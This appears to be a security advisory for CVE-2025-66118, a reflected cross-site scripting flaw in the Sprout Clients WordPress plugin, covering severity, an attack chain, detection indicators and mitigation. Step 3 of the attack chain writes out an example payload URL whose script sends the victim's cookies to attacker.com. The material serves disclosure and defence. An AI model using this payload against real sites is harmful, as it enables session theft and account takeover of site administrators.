CVE-2025-66118: 
WordPress vulnerability analysis and mitigation

CVE-2025-66118 is a Reflected Cross-Site Scripting (XSS) vulnerability in the BoldGrid Sprout Clients WordPress plugin. It affects all versions of the plugin through 3.2.1 and was disclosed on December 18, 2025, with the CVE assigned by Patchstack. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), with a changed scope indicating impact beyond the vulnerable component (Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type (CAPEC-591). The root cause is insufficient sanitization or escaping of user-supplied input before it is rendered in web page output, allowing an attacker to inject malicious scripts via crafted URLs or form parameters. Exploitation requires no authentication (Privileges Required: None) but does require user interaction, meaning a victim must be tricked into clicking a malicious link that triggers the reflected payload in their browser (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, redirection to malicious sites, or defacement of page content as seen by the victim. The CVSS scope is marked as "Changed," indicating that the impact extends beyond the vulnerable plugin itself to the broader browser environment, affecting confidentiality, integrity, and availability at a low level each (Feedly).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-66118 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the Sprout Clients plugin version 3.2.1 or earlier using tools like WPScan or by inspecting plugin directories exposed via the target site.
2. Identify vulnerable parameter: Locate the input parameter(s) within the plugin that are reflected in the HTTP response without proper sanitization (e.g., a query string parameter passed to a plugin page).
3. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint with an injected XSS payload, such as https://target-site.com/wp-admin/admin.php?page=sprout-clients&param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a victim (e.g., a logged-in WordPress administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes in their session context, enabling cookie theft, credential harvesting, or further malicious actions (Feedly).

• Network: HTTP GET or POST requests to WordPress plugin pages (e.g., /wp-admin/admin.php?page=sprout-clients) containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters.
• Logs: Web server access logs showing requests with XSS payloads in URL parameters directed at Sprout Clients plugin endpoints; referrer headers pointing to external attacker-controlled domains.
• Browser/Session: Unexpected outbound requests from victim browsers to unknown external domains shortly after visiting a WordPress admin page, potentially indicating cookie exfiltration.

Users should update the Sprout Clients plugin to a version beyond 3.2.1 that addresses this vulnerability. Until a patched version is confirmed available, administrators should consider disabling the plugin if it is not actively required. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Feedly, Patchstack).